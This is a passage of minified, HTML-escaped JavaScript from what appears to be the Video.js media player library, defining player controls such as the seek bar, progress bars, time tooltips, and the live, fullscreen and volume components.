this.player_.duration()&amp;&amp;(time=this.player_.ended()?0:this.player_.remainingTimeDisplay?this.player_.remainingTimeDisplay():this.player_.remainingTime(),this.updateTextNode_(time))},RemainingTimeDisplay}(TimeDisplay);RemainingTimeDisplay.prototype.labelText_=&quot;Remaining Time&quot;,RemainingTimeDisplay.prototype.controlText_=&quot;Remaining Time&quot;,Component$1.registerComponent(&quot;RemainingTimeDisplay&quot;,RemainingTimeDisplay);var LiveDisplay=function(_Component){function LiveDisplay(player,options){var _this;return(_this=_Component.call(this,player,options)||this).updateShowing(),_this.on(_this.player(),&quot;durationchange&quot;,(function(e){return _this.updateShowing(e)})),_this}inheritsLoose(LiveDisplay,_Component);var _proto=LiveDisplay.prototype;return _proto.createEl=function(){var el=_Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-live-control vjs-control&quot;});return this.contentEl_=createEl(&quot;div&quot;,{className:&quot;vjs-live-display&quot;},{&quot;aria-live&quot;:&quot;off&quot;}),this.contentEl_.appendChild(createEl(&quot;span&quot;,{className:&quot;vjs-control-text&quot;,textContent:this.localize(&quot;Stream Type&quot;)+&quot; &quot;})),this.contentEl_.appendChild(document.createTextNode(this.localize(&quot;LIVE&quot;))),el.appendChild(this.contentEl_),el},_proto.dispose=function(){this.contentEl_=null,_Component.prototype.dispose.call(this)},_proto.updateShowing=function(event){this.player().duration()===1/0?this.show():this.hide()},LiveDisplay}(Component$1);Component$1.registerComponent(&quot;LiveDisplay&quot;,LiveDisplay);var SeekToLive=function(_Button){function SeekToLive(player,options){var _this;return(_this=_Button.call(this,player,options)||this).updateLiveEdgeStatus(),_this.player_.liveTracker&amp;&amp;(_this.updateLiveEdgeStatusHandler_=function(e){return _this.updateLiveEdgeStatus(e)},_this.on(_this.player_.liveTracker,&quot;liveedgechange&quot;,_this.updateLiveEdgeStatusHandler_)),_this}inheritsLoose(SeekToLive,_Button);var _proto=SeekToLive.prototype;return _proto.createEl=function(){var el=_Button.prototype.createEl.call(this,&quot;button&quot;,{className:&quot;vjs-seek-to-live-control vjs-control&quot;});return this.textEl_=createEl(&quot;span&quot;,{className:&quot;vjs-seek-to-live-text&quot;,textContent:this.localize(&quot;LIVE&quot;)},{&quot;aria-hidden&quot;:&quot;true&quot;}),el.appendChild(this.textEl_),el},_proto.updateLiveEdgeStatus=function(){!this.player_.liveTracker||this.player_.liveTracker.atLiveEdge()?(this.setAttribute(&quot;aria-disabled&quot;,!0),this.addClass(&quot;vjs-at-live-edge&quot;),this.controlText(&quot;Seek to live, currently playing live&quot;)):(this.setAttribute(&quot;aria-disabled&quot;,!1),this.removeClass(&quot;vjs-at-live-edge&quot;),this.controlText(&quot;Seek to live, currently behind live&quot;))},_proto.handleClick=function(){this.player_.liveTracker.seekToLiveEdge()},_proto.dispose=function(){this.player_.liveTracker&amp;&amp;this.off(this.player_.liveTracker,&quot;liveedgechange&quot;,this.updateLiveEdgeStatusHandler_),this.textEl_=null,_Button.prototype.dispose.call(this)},SeekToLive}(Button);SeekToLive.prototype.controlText_=&quot;Seek to live, currently playing live&quot;,Component$1.registerComponent(&quot;SeekToLive&quot;,SeekToLive);var clamp=function(number,min,max){return number=Number(number),Math.min(max,Math.max(min,isNaN(number)?min:number))},Slider=function(_Component){function Slider(player,options){var _this;return(_this=_Component.call(this,player,options)||this).handleMouseDown_=function(e){return _this.handleMouseDown(e)},_this.handleMouseUp_=function(e){return _this.handleMouseUp(e)},_this.handleKeyDown_=function(e){return _this.handleKeyDown(e)},_this.handleClick_=function(e){return _this.handleClick(e)},_this.handleMouseMove_=function(e){return _this.handleMouseMove(e)},_this.update_=function(e){return _this.update(e)},_this.bar=_this.getChild(_this.options_.barName),_this.vertical(!!_this.options_.vertical),_this.enable(),_this}inheritsLoose(Slider,_Component);var _proto=Slider.prototype;return _proto.enabled=function(){return this.enabled_},_proto.enable=function(){this.enabled()||(this.on(&quot;mousedown&quot;,this.handleMouseDown_),this.on(&quot;touchstart&quot;,this.handleMouseDown_),this.on(&quot;keydown&quot;,this.handleKeyDown_),this.on(&quot;click&quot;,this.handleClick_),this.on(this.player_,&quot;controlsvisible&quot;,this.update),this.playerEvent&amp;&amp;this.on(this.player_,this.playerEvent,this.update),this.removeClass(&quot;disabled&quot;),this.setAttribute(&quot;tabindex&quot;,0),this.enabled_=!0)},_proto.disable=function(){if(this.enabled()){var doc=this.bar.el_.ownerDocument;this.off(&quot;mousedown&quot;,this.handleMouseDown_),this.off(&quot;touchstart&quot;,this.handleMouseDown_),this.off(&quot;keydown&quot;,this.handleKeyDown_),this.off(&quot;click&quot;,this.handleClick_),this.off(this.player_,&quot;controlsvisible&quot;,this.update_),this.off(doc,&quot;mousemove&quot;,this.handleMouseMove_),this.off(doc,&quot;mouseup&quot;,this.handleMouseUp_),this.off(doc,&quot;touchmove&quot;,this.handleMouseMove_),this.off(doc,&quot;touchend&quot;,this.handleMouseUp_),this.removeAttribute(&quot;tabindex&quot;),this.addClass(&quot;disabled&quot;),this.playerEvent&amp;&amp;this.off(this.player_,this.playerEvent,this.update),this.enabled_=!1}},_proto.createEl=function(type,props,attributes){return void 0===props&amp;&amp;(props={}),void 0===attributes&amp;&amp;(attributes={}),props.className=props.className+&quot; vjs-slider&quot;,props=assign({tabIndex:0},props),attributes=assign({role:&quot;slider&quot;,&quot;aria-valuenow&quot;:0,&quot;aria-valuemin&quot;:0,&quot;aria-valuemax&quot;:100,tabIndex:0},attributes),_Component.prototype.createEl.call(this,type,props,attributes)},_proto.handleMouseDown=function(event){var doc=this.bar.el_.ownerDocument;&quot;mousedown&quot;===event.type&amp;&amp;event.preventDefault(),&quot;touchstart&quot;!==event.type||IS_CHROME||event.preventDefault(),blockTextSelection(),this.addClass(&quot;vjs-sliding&quot;),this.trigger(&quot;slideractive&quot;),this.on(doc,&quot;mousemove&quot;,this.handleMouseMove_),this.on(doc,&quot;mouseup&quot;,this.handleMouseUp_),this.on(doc,&quot;touchmove&quot;,this.handleMouseMove_),this.on(doc,&quot;touchend&quot;,this.handleMouseUp_),this.handleMouseMove(event)},_proto.handleMouseMove=function(event){},_proto.handleMouseUp=function(){var doc=this.bar.el_.ownerDocument;unblockTextSelection(),this.removeClass(&quot;vjs-sliding&quot;),this.trigger(&quot;sliderinactive&quot;),this.off(doc,&quot;mousemove&quot;,this.handleMouseMove_),this.off(doc,&quot;mouseup&quot;,this.handleMouseUp_),this.off(doc,&quot;touchmove&quot;,this.handleMouseMove_),this.off(doc,&quot;touchend&quot;,this.handleMouseUp_),this.update()},_proto.update=function(){var _this2=this;if(this.el_&amp;&amp;this.bar){var progress=this.getProgress();return progress===this.progress_||(this.progress_=progress,this.requestNamedAnimationFrame(&quot;Slider#update&quot;,(function(){var sizeKey=_this2.vertical()?&quot;height&quot;:&quot;width&quot;;_this2.bar.el().style[sizeKey]=(100*progress).toFixed(2)+&quot;%&quot;}))),progress}},_proto.getProgress=function(){return Number(clamp(this.getPercent(),0,1).toFixed(4))},_proto.calculateDistance=function(event){var position=getPointerPosition(this.el_,event);return this.vertical()?position.y:position.x},_proto.handleKeyDown=function(event){keycode.isEventKey(event,&quot;Left&quot;)||keycode.isEventKey(event,&quot;Down&quot;)?(event.preventDefault(),event.stopPropagation(),this.stepBack()):keycode.isEventKey(event,&quot;Right&quot;)||keycode.isEventKey(event,&quot;Up&quot;)?(event.preventDefault(),event.stopPropagation(),this.stepForward()):_Component.prototype.handleKeyDown.call(this,event)},_proto.handleClick=function(event){event.stopPropagation(),event.preventDefault()},_proto.vertical=function(bool){if(void 0===bool)return this.vertical_||!1;this.vertical_=!!bool,this.vertical_?this.addClass(&quot;vjs-slider-vertical&quot;):this.addClass(&quot;vjs-slider-horizontal&quot;)},Slider}(Component$1);Component$1.registerComponent(&quot;Slider&quot;,Slider);var percentify=function(time,end){return clamp(time/end*100,0,100).toFixed(2)+&quot;%&quot;},LoadProgressBar=function(_Component){function LoadProgressBar(player,options){var _this;return(_this=_Component.call(this,player,options)||this).partEls_=[],_this.on(player,&quot;progress&quot;,(function(e){return _this.update(e)})),_this}inheritsLoose(LoadProgressBar,_Component);var _proto=LoadProgressBar.prototype;return _proto.createEl=function(){var el=_Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-load-progress&quot;}),wrapper=createEl(&quot;span&quot;,{className:&quot;vjs-control-text&quot;}),loadedText=createEl(&quot;span&quot;,{textContent:this.localize(&quot;Loaded&quot;)}),separator=document.createTextNode(&quot;: &quot;);return this.percentageEl_=createEl(&quot;span&quot;,{className:&quot;vjs-control-text-loaded-percentage&quot;,textContent:&quot;0%&quot;}),el.appendChild(wrapper),wrapper.appendChild(loadedText),wrapper.appendChild(separator),wrapper.appendChild(this.percentageEl_),el},_proto.dispose=function(){this.partEls_=null,this.percentageEl_=null,_Component.prototype.dispose.call(this)},_proto.update=function(event){var _this2=this;this.requestNamedAnimationFrame(&quot;LoadProgressBar#update&quot;,(function(){var liveTracker=_this2.player_.liveTracker,buffered=_this2.player_.buffered(),duration=liveTracker&amp;&amp;liveTracker.isLive()?liveTracker.seekableEnd():_this2.player_.duration(),bufferedEnd=_this2.player_.bufferedEnd(),children=_this2.partEls_,percent=percentify(bufferedEnd,duration);_this2.percent_!==percent&amp;&amp;(_this2.el_.style.width=percent,textContent(_this2.percentageEl_,percent),_this2.percent_=percent);for(var i=0;i&lt;buffered.length;i++){var start=buffered.start(i),end=buffered.end(i),part=children[i];part||(part=_this2.el_.appendChild(createEl()),children[i]=part),part.dataset.start===start&amp;&amp;part.dataset.end===end||(part.dataset.start=start,part.dataset.end=end,part.style.left=percentify(start,bufferedEnd),part.style.width=percentify(end-start,bufferedEnd))}for(var _i=children.length;_i&gt;buffered.length;_i--)_this2.el_.removeChild(children[_i-1]);children.length=buffered.length}))},LoadProgressBar}(Component$1);Component$1.registerComponent(&quot;LoadProgressBar&quot;,LoadProgressBar);var TimeTooltip=function(_Component){function TimeTooltip(player,options){var _this;return(_this=_Component.call(this,player,options)||this).update=throttle(bind(assertThisInitialized(_this),_this.update),30),_this}inheritsLoose(TimeTooltip,_Component);var _proto=TimeTooltip.prototype;return _proto.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-time-tooltip&quot;},{&quot;aria-hidden&quot;:&quot;true&quot;})},_proto.update=function(seekBarRect,seekBarPoint,content){var tooltipRect=findPosition(this.el_),playerRect=getBoundingClientRect(this.player_.el()),seekBarPointPx=seekBarRect.width*seekBarPoint;if(playerRect&amp;&amp;tooltipRect){var spaceLeftOfPoint=seekBarRect.left-playerRect.left+seekBarPointPx,spaceRightOfPoint=seekBarRect.width-seekBarPointPx+(playerRect.right-seekBarRect.right),pullTooltipBy=tooltipRect.width/2;spaceLeftOfPoint&lt;pullTooltipBy?pullTooltipBy+=pullTooltipBy-spaceLeftOfPoint:spaceRightOfPoint&lt;pullTooltipBy&amp;&amp;(pullTooltipBy=spaceRightOfPoint),pullTooltipBy&lt;0?pullTooltipBy=0:pullTooltipBy&gt;tooltipRect.width&amp;&amp;(pullTooltipBy=tooltipRect.width),pullTooltipBy=Math.round(pullTooltipBy),this.el_.style.right=&quot;-&quot;+pullTooltipBy+&quot;px&quot;,this.write(content)}},_proto.write=function(content){textContent(this.el_,content)},_proto.updateTime=function(seekBarRect,seekBarPoint,time,cb){var _this2=this;this.requestNamedAnimationFrame(&quot;TimeTooltip#updateTime&quot;,(function(){var content,duration=_this2.player_.duration();if(_this2.player_.liveTracker&amp;&amp;_this2.player_.liveTracker.isLive()){var liveWindow=_this2.player_.liveTracker.liveWindow(),secondsBehind=liveWindow-seekBarPoint*liveWindow;content=(secondsBehind&lt;1?&quot;&quot;:&quot;-&quot;)+formatTime(secondsBehind,liveWindow)}else content=formatTime(time,duration);_this2.update(seekBarRect,seekBarPoint,content),cb&amp;&amp;cb()}))},TimeTooltip}(Component$1);Component$1.registerComponent(&quot;TimeTooltip&quot;,TimeTooltip);var PlayProgressBar=function(_Component){function PlayProgressBar(player,options){var _this;return(_this=_Component.call(this,player,options)||this).update=throttle(bind(assertThisInitialized(_this),_this.update),30),_this}inheritsLoose(PlayProgressBar,_Component);var _proto=PlayProgressBar.prototype;return _proto.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-play-progress vjs-slider-bar&quot;},{&quot;aria-hidden&quot;:&quot;true&quot;})},_proto.update=function(seekBarRect,seekBarPoint){var timeTooltip=this.getChild(&quot;timeTooltip&quot;);if(timeTooltip){var time=this.player_.scrubbing()?this.player_.getCache().currentTime:this.player_.currentTime();timeTooltip.updateTime(seekBarRect,seekBarPoint,time)}},PlayProgressBar}(Component$1);PlayProgressBar.prototype.options_={children:[]},IS_IOS||IS_ANDROID||PlayProgressBar.prototype.options_.children.push(&quot;timeTooltip&quot;),Component$1.registerComponent(&quot;PlayProgressBar&quot;,PlayProgressBar);var MouseTimeDisplay=function(_Component){function MouseTimeDisplay(player,options){var _this;return(_this=_Component.call(this,player,options)||this).update=throttle(bind(assertThisInitialized(_this),_this.update),30),_this}inheritsLoose(MouseTimeDisplay,_Component);var _proto=MouseTimeDisplay.prototype;return _proto.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-mouse-display&quot;})},_proto.update=function(seekBarRect,seekBarPoint){var _this2=this,time=seekBarPoint*this.player_.duration();this.getChild(&quot;timeTooltip&quot;).updateTime(seekBarRect,seekBarPoint,time,(function(){_this2.el_.style.left=seekBarRect.width*seekBarPoint+&quot;px&quot;}))},MouseTimeDisplay}(Component$1);MouseTimeDisplay.prototype.options_={children:[&quot;timeTooltip&quot;]},Component$1.registerComponent(&quot;MouseTimeDisplay&quot;,MouseTimeDisplay);var SeekBar=function(_Slider){function SeekBar(player,options){var _this;return(_this=_Slider.call(this,player,options)||this).setEventHandlers_(),_this}inheritsLoose(SeekBar,_Slider);var _proto=SeekBar.prototype;return _proto.setEventHandlers_=function(){var _this2=this;this.update_=bind(this,this.update),this.update=throttle(this.update_,30),this.on(this.player_,[&quot;ended&quot;,&quot;durationchange&quot;,&quot;timeupdate&quot;],this.update),this.player_.liveTracker&amp;&amp;this.on(this.player_.liveTracker,&quot;liveedgechange&quot;,this.update),this.updateInterval=null,this.enableIntervalHandler_=function(e){return _this2.enableInterval_(e)},this.disableIntervalHandler_=function(e){return _this2.disableInterval_(e)},this.on(this.player_,[&quot;playing&quot;],this.enableIntervalHandler_),this.on(this.player_,[&quot;ended&quot;,&quot;pause&quot;,&quot;waiting&quot;],this.disableIntervalHandler_),&quot;hidden&quot;in document&amp;&amp;&quot;visibilityState&quot;in document&amp;&amp;this.on(document,&quot;visibilitychange&quot;,this.toggleVisibility_)},_proto.toggleVisibility_=function(e){&quot;hidden&quot;===document.visibilityState?(this.cancelNamedAnimationFrame(&quot;SeekBar#update&quot;),this.cancelNamedAnimationFrame(&quot;Slider#update&quot;),this.disableInterval_(e)):(this.player_.ended()||this.player_.paused()||this.enableInterval_(),this.update())},_proto.enableInterval_=function(){this.updateInterval||(this.updateInterval=this.setInterval(this.update,30))},_proto.disableInterval_=function(e){this.player_.liveTracker&amp;&amp;this.player_.liveTracker.isLive()&amp;&amp;e&amp;&amp;&quot;ended&quot;!==e.type||this.updateInterval&amp;&amp;(this.clearInterval(this.updateInterval),this.updateInterval=null)},_proto.createEl=function(){return _Slider.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-progress-holder&quot;},{&quot;aria-label&quot;:this.localize(&quot;Progress Bar&quot;)})},_proto.update=function(event){var _this3=this;if(&quot;hidden&quot;!==document.visibilityState){var percent=_Slider.prototype.update.call(this);return this.requestNamedAnimationFrame(&quot;SeekBar#update&quot;,(function(){var currentTime=_this3.player_.ended()?_this3.player_.duration():_this3.getCurrentTime_(),liveTracker=_this3.player_.liveTracker,duration=_this3.player_.duration();liveTracker&amp;&amp;liveTracker.isLive()&amp;&amp;(duration=_this3.player_.liveTracker.liveCurrentTime()),_this3.percent_!==percent&amp;&amp;(_this3.el_.setAttribute(&quot;aria-valuenow&quot;,(100*percent).toFixed(2)),_this3.percent_=percent),_this3.currentTime_===currentTime&amp;&amp;_this3.duration_===duration||(_this3.el_.setAttribute(&quot;aria-valuetext&quot;,_this3.localize(&quot;progress bar timing: currentTime={1} duration={2}&quot;,[formatTime(currentTime,duration),formatTime(duration,duration)],&quot;{1} of {2}&quot;)),_this3.currentTime_=currentTime,_this3.duration_=duration),_this3.bar&amp;&amp;_this3.bar.update(getBoundingClientRect(_this3.el()),_this3.getProgress())})),percent}},_proto.userSeek_=function(ct){this.player_.liveTracker&amp;&amp;this.player_.liveTracker.isLive()&amp;&amp;this.player_.liveTracker.nextSeekedFromUser(),this.player_.currentTime(ct)},_proto.getCurrentTime_=function(){return this.player_.scrubbing()?this.player_.getCache().currentTime:this.player_.currentTime()},_proto.getPercent=function(){var percent,currentTime=this.getCurrentTime_(),liveTracker=this.player_.liveTracker;return liveTracker&amp;&amp;liveTracker.isLive()?(percent=(currentTime-liveTracker.seekableStart())/liveTracker.liveWindow(),liveTracker.atLiveEdge()&amp;&amp;(percent=1)):percent=currentTime/this.player_.duration(),percent},_proto.handleMouseDown=function(event){isSingleLeftClick(event)&amp;&amp;(event.stopPropagation(),this.player_.scrubbing(!0),this.videoWasPlaying=!this.player_.paused(),this.player_.pause(),_Slider.prototype.handleMouseDown.call(this,event))},_proto.handleMouseMove=function(event){if(isSingleLeftClick(event)){var newTime,distance=this.calculateDistance(event),liveTracker=this.player_.liveTracker;if(liveTracker&amp;&amp;liveTracker.isLive()){if(distance&gt;=.99)return void liveTracker.seekToLiveEdge();var seekableStart=liveTracker.seekableStart(),seekableEnd=liveTracker.liveCurrentTime();if((newTime=seekableStart+distance*liveTracker.liveWindow())&gt;=seekableEnd&amp;&amp;(newTime=seekableEnd),newTime&lt;=seekableStart&amp;&amp;(newTime=seekableStart+.1),newTime===1/0)return}else(newTime=distance*this.player_.duration())===this.player_.duration()&amp;&amp;(newTime-=.1);this.userSeek_(newTime)}},_proto.enable=function(){_Slider.prototype.enable.call(this);var mouseTimeDisplay=this.getChild(&quot;mouseTimeDisplay&quot;);mouseTimeDisplay&amp;&amp;mouseTimeDisplay.show()},_proto.disable=function(){_Slider.prototype.disable.call(this);var mouseTimeDisplay=this.getChild(&quot;mouseTimeDisplay&quot;);mouseTimeDisplay&amp;&amp;mouseTimeDisplay.hide()},_proto.handleMouseUp=function(event){_Slider.prototype.handleMouseUp.call(this,event),event&amp;&amp;event.stopPropagation(),this.player_.scrubbing(!1),this.player_.trigger({type:&quot;timeupdate&quot;,target:this,manuallyTriggered:!0}),this.videoWasPlaying?silencePromise(this.player_.play()):this.update_()},_proto.stepForward=function(){this.userSeek_(this.player_.currentTime()+5)},_proto.stepBack=function(){this.userSeek_(this.player_.currentTime()-5)},_proto.handleAction=function(event){this.player_.paused()?this.player_.play():this.player_.pause()},_proto.handleKeyDown=function(event){var liveTracker=this.player_.liveTracker;if(keycode.isEventKey(event,&quot;Space&quot;)||keycode.isEventKey(event,&quot;Enter&quot;))event.preventDefault(),event.stopPropagation(),this.handleAction(event);else if(keycode.isEventKey(event,&quot;Home&quot;))event.preventDefault(),event.stopPropagation(),this.userSeek_(0);else if(keycode.isEventKey(event,&quot;End&quot;))event.preventDefault(),event.stopPropagation(),liveTracker&amp;&amp;liveTracker.isLive()?this.userSeek_(liveTracker.liveCurrentTime()):this.userSeek_(this.player_.duration());else if(/^[0-9]$/.test(keycode(event))){event.preventDefault(),event.stopPropagation();var gotoFraction=10*(keycode.codes[keycode(event)]-keycode.codes[0])/100;liveTracker&amp;&amp;liveTracker.isLive()?this.userSeek_(liveTracker.seekableStart()+liveTracker.liveWindow()*gotoFraction):this.userSeek_(this.player_.duration()*gotoFraction)}else keycode.isEventKey(event,&quot;PgDn&quot;)?(event.preventDefault(),event.stopPropagation(),this.userSeek_(this.player_.currentTime()-60)):keycode.isEventKey(event,&quot;PgUp&quot;)?(event.preventDefault(),event.stopPropagation(),this.userSeek_(this.player_.currentTime()+60)):_Slider.prototype.handleKeyDown.call(this,event)},_proto.dispose=function(){this.disableInterval_(),this.off(this.player_,[&quot;ended&quot;,&quot;durationchange&quot;,&quot;timeupdate&quot;],this.update),this.player_.liveTracker&amp;&amp;this.off(this.player_.liveTracker,&quot;liveedgechange&quot;,this.update),this.off(this.player_,[&quot;playing&quot;],this.enableIntervalHandler_),this.off(this.player_,[&quot;ended&quot;,&quot;pause&quot;,&quot;waiting&quot;],this.disableIntervalHandler_),&quot;hidden&quot;in document&amp;&amp;&quot;visibilityState&quot;in document&amp;&amp;this.off(document,&quot;visibilitychange&quot;,this.toggleVisibility_),_Slider.prototype.dispose.call(this)},SeekBar}(Slider);SeekBar.prototype.options_={children:[&quot;loadProgressBar&quot;,&quot;playProgressBar&quot;],barName:&quot;playProgressBar&quot;},IS_IOS||IS_ANDROID||SeekBar.prototype.options_.children.splice(1,0,&quot;mouseTimeDisplay&quot;),Component$1.registerComponent(&quot;SeekBar&quot;,SeekBar);var ProgressControl=function(_Component){function ProgressControl(player,options){var _this;return(_this=_Component.call(this,player,options)||this).handleMouseMove=throttle(bind(assertThisInitialized(_this),_this.handleMouseMove),30),_this.throttledHandleMouseSeek=throttle(bind(assertThisInitialized(_this),_this.handleMouseSeek),30),_this.handleMouseUpHandler_=function(e){return _this.handleMouseUp(e)},_this.handleMouseDownHandler_=function(e){return _this.handleMouseDown(e)},_this.enable(),_this}inheritsLoose(ProgressControl,_Component);var _proto=ProgressControl.prototype;return _proto.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-progress-control vjs-control&quot;})},_proto.handleMouseMove=function(event){var seekBar=this.getChild(&quot;seekBar&quot;);if(seekBar){var playProgressBar=seekBar.getChild(&quot;playProgressBar&quot;),mouseTimeDisplay=seekBar.getChild(&quot;mouseTimeDisplay&quot;);if(playProgressBar||mouseTimeDisplay){var seekBarEl=seekBar.el(),seekBarRect=findPosition(seekBarEl),seekBarPoint=getPointerPosition(seekBarEl,event).x;seekBarPoint=clamp(seekBarPoint,0,1),mouseTimeDisplay&amp;&amp;mouseTimeDisplay.update(seekBarRect,seekBarPoint),playProgressBar&amp;&amp;playProgressBar.update(seekBarRect,seekBar.getProgress())}}},_proto.handleMouseSeek=function(event){var seekBar=this.getChild(&quot;seekBar&quot;);seekBar&amp;&amp;seekBar.handleMouseMove(event)},_proto.enabled=function(){return this.enabled_},_proto.disable=function(){if(this.children().forEach((function(child){return child.disable&amp;&amp;child.disable()})),this.enabled()&amp;&amp;(this.off([&quot;mousedown&quot;,&quot;touchstart&quot;],this.handleMouseDownHandler_),this.off(this.el_,&quot;mousemove&quot;,this.handleMouseMove),this.removeListenersAddedOnMousedownAndTouchstart(),this.addClass(&quot;disabled&quot;),this.enabled_=!1,this.player_.scrubbing())){var seekBar=this.getChild(&quot;seekBar&quot;);this.player_.scrubbing(!1),seekBar.videoWasPlaying&amp;&amp;silencePromise(this.player_.play())}},_proto.enable=function(){this.children().forEach((function(child){return child.enable&amp;&amp;child.enable()})),this.enabled()||(this.on([&quot;mousedown&quot;,&quot;touchstart&quot;],this.handleMouseDownHandler_),this.on(this.el_,&quot;mousemove&quot;,this.handleMouseMove),this.removeClass(&quot;disabled&quot;),this.enabled_=!0)},_proto.removeListenersAddedOnMousedownAndTouchstart=function(){var doc=this.el_.ownerDocument;this.off(doc,&quot;mousemove&quot;,this.throttledHandleMouseSeek),this.off(doc,&quot;touchmove&quot;,this.throttledHandleMouseSeek),this.off(doc,&quot;mouseup&quot;,this.handleMouseUpHandler_),this.off(doc,&quot;touchend&quot;,this.handleMouseUpHandler_)},_proto.handleMouseDown=function(event){var doc=this.el_.ownerDocument,seekBar=this.getChild(&quot;seekBar&quot;);seekBar&amp;&amp;seekBar.handleMouseDown(event),this.on(doc,&quot;mousemove&quot;,this.throttledHandleMouseSeek),this.on(doc,&quot;touchmove&quot;,this.throttledHandleMouseSeek),this.on(doc,&quot;mouseup&quot;,this.handleMouseUpHandler_),this.on(doc,&quot;touchend&quot;,this.handleMouseUpHandler_)},_proto.handleMouseUp=function(event){var seekBar=this.getChild(&quot;seekBar&quot;);seekBar&amp;&amp;seekBar.handleMouseUp(event),this.removeListenersAddedOnMousedownAndTouchstart()},ProgressControl}(Component$1);ProgressControl.prototype.options_={children:[&quot;seekBar&quot;]},Component$1.registerComponent(&quot;ProgressControl&quot;,ProgressControl);var PictureInPictureToggle=function(_Button){function PictureInPictureToggle(player,options){var _this;return(_this=_Button.call(this,player,options)||this).on(player,[&quot;enterpictureinpicture&quot;,&quot;leavepictureinpicture&quot;],(function(e){return _this.handlePictureInPictureChange(e)})),_this.on(player,[&quot;disablepictureinpicturechanged&quot;,&quot;loadedmetadata&quot;],(function(e){return _this.handlePictureInPictureEnabledChange(e)})),_this.disable(),_this}inheritsLoose(PictureInPictureToggle,_Button);var _proto=PictureInPictureToggle.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-picture-in-picture-control &quot;+_Button.prototype.buildCSSClass.call(this)},_proto.handlePictureInPictureEnabledChange=function(){document.pictureInPictureEnabled&amp;&amp;!1===this.player_.disablePictureInPicture()?this.enable():this.disable()},_proto.handlePictureInPictureChange=function(event){this.player_.isInPictureInPicture()?this.controlText(&quot;Exit Picture-in-Picture&quot;):this.controlText(&quot;Picture-in-Picture&quot;),this.handlePictureInPictureEnabledChange()},_proto.handleClick=function(event){this.player_.isInPictureInPicture()?this.player_.exitPictureInPicture():this.player_.requestPictureInPicture()},PictureInPictureToggle}(Button);PictureInPictureToggle.prototype.controlText_=&quot;Picture-in-Picture&quot;,Component$1.registerComponent(&quot;PictureInPictureToggle&quot;,PictureInPictureToggle);var FullscreenToggle=function(_Button){function FullscreenToggle(player,options){var _this;return(_this=_Button.call(this,player,options)||this).on(player,&quot;fullscreenchange&quot;,(function(e){return _this.handleFullscreenChange(e)})),!1===document[player.fsApi_.fullscreenEnabled]&amp;&amp;_this.disable(),_this}inheritsLoose(FullscreenToggle,_Button);var _proto=FullscreenToggle.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-fullscreen-control &quot;+_Button.prototype.buildCSSClass.call(this)},_proto.handleFullscreenChange=function(event){this.player_.isFullscreen()?this.controlText(&quot;Non-Fullscreen&quot;):this.controlText(&quot;Fullscreen&quot;)},_proto.handleClick=function(event){this.player_.isFullscreen()?this.player_.exitFullscreen():this.player_.requestFullscreen()},FullscreenToggle}(Button);FullscreenToggle.prototype.controlText_=&quot;Fullscreen&quot;,Component$1.registerComponent(&quot;FullscreenToggle&quot;,FullscreenToggle);var VolumeLevel=function(_Component){function VolumeLevel(){return _Component.apply(this,arguments)||this}return inheritsLoose(VolumeLevel,_Component),VolumeLevel.prototype.createEl=function(){var el=_Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-volume-level&quot;});return el.appendChild(_Component.prototype.createEl.call(this,&quot;span&quot;,{className:&quot;vjs-control-text&quot;})),el},VolumeLevel}(Component$1);Component$1.registerComponent(&quot;VolumeLevel&quot;,VolumeLevel);var VolumeLevelTooltip=function(_Component){function VolumeLevelTooltip(player,options){var _this;return(_this=_Component.call(this,player,options)||this).update=throttle(bind(assertThisInitialized(_this),_this.update),30),_this}inheritsLoose(VolumeLevelTooltip,_Component);var _proto=VolumeLevelTooltip.prototype;return _proto.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-volume-tooltip&quot;},{&quot;aria-hidden&quot;:&quot;true&quot;})},_proto.update=function(rangeBarRect,rangeBarPoint,vertical,content){if(!vertical){var tooltipRect=getBoundingClientRect(this.el_),playerRect=getBoundingClientRect(this.player_.el()),volumeBarPointPx=rangeBarRect.width*rangeBarPoint;if(!playerRect||!tooltipRect)return;var spaceLeftOfPoint=rangeBarRect.left-playerRect.left+volumeBarPointPx,spaceRightOfPoint=rangeBarRect.width-volumeBarPointPx+(playerRect.right-rangeBarRect.right),pullTooltipBy=tooltipRect.width/2;spaceLeftOfPoint&lt;pullTooltipBy?pullTooltipBy+=pullTooltipBy-spaceLeftOfPoint:spaceRightOfPoint&lt;pullTooltipBy&amp;&amp;(pullTooltipBy=spaceRightOfPoint),pullTooltipBy&lt;0?pullTooltipBy=0:pullTooltipBy&gt;tooltipRect.width&amp;&amp;(pullTooltipBy=tooltipRect.width),this.el_.style.right=&quot;-&quot;+pullTooltipBy+&quot;px&quot;}this.write(content+&quot;%&quot;)},_proto.write=function(content){textContent(this.el_,content)},_proto.updateVolume=function(rangeBarRect,rangeBarPoint,vertical,volume,cb){var _this2=this;this.requestNamedAnimationFrame(&quot;VolumeLevelTooltip#updateVolume&quot;,(function(){_this2.update(rangeBarRect,rangeBarPoint,vertical,volume.toFixed(0)),cb&amp;&amp;cb()}))},VolumeLevelTooltip}(Component$1);Component$1.registerComponent(&quot;VolumeLevelTooltip&quot;,VolumeLevelTooltip);var MouseVolumeLevelDisplay=function(_Component){function MouseVolumeLevelDisplay(player,options){var _this;return(_this=_Component.call(this,player,options)||this).update=throttle(bind(assertThisInitialized(_this),_this.update),30),_this}inheritsLoose(MouseVolumeLevelDisplay,_Component);var _proto=MouseVolumeLevelDisplay.prototype;return _proto.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-mouse-display&quot;})},_proto.update=function(rangeBarRect,rangeBarPoint,vertical){var 